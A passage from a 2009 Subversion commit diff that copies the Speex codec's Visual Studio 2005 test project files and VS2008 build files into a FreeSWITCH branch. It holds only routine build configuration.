+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\..\libspeex\testenc.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testenc_uwb.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testenc_uwb.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2005/tests/testenc_uwb.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testenc_uwb.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testenc_uwb.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,307 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="testenc_uwb"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc_uwb.exe"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="Release"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc_uwb.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc_uwb.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\..\libspeex\testenc_uwb.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testenc_wb.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testenc_wb.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2005/tests/testenc_wb.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testenc_wb.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testenc_wb.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,307 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="testenc_wb"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc_wb.exe"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="Release"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc_wb.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc_wb.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\..\libspeex\testenc_wb.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testresample.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testresample.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2005/tests/testresample.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testresample.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2005/tests/testresample.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,307 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="testresample"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testresample.exe"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="Release"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testresample.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testresample.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\..\libspeex\testresample.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008 (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008)

Property changes: freeswitch/branches/seven/libs/speex/win32/VS2008


Name: svn:ignore
   + Makefile.in
Makefile

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2008/Makefile.am

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/Makefile.am (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2008/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2008/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+## Process this file with automake to produce Makefile.in. -*-Makefile-*-
+
+# Disable automatic dependency tracking if using other tools than gcc and gmake
+#AUTOMAKE_OPTIONS = no-dependencies
+
+SUBDIRS = libspeex libspeexdsp speexenc speexdec tests
+
+EXTRA_DIST = libspeex.sln

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/libspeex (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/libspeex)

Property changes: freeswitch/branches/seven/libs/speex/win32/VS2008/libspeex


Name: svn:ignore
   + Debug
Release
*.user
Makefile.in
Makefile
x64

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2008/libspeex/Makefile.am

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/libspeex/Makefile.am (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/libspeex/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2008/libspeex/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2008/libspeex/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+## Process this file with automake to produce Makefile.in. -*-Makefile-*-
+
+# Disable automatic dependency tracking if using other tools than gcc and gmake
+#AUTOMAKE_OPTIONS = no-dependencies
+
+EXTRA_DIST = libspeex.vcproj
+
+

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2008/libspeex/libspeex.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/libspeex/libspeex.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/libspeex/libspeex.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2008/libspeex/libspeex.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2008/libspeex/libspeex.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2319 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="libspeex"
+	ProjectGUID="{E972C52F-9E85-4D65-B19C-031E511E9DB4}"
+	RootNamespace="libspeex"
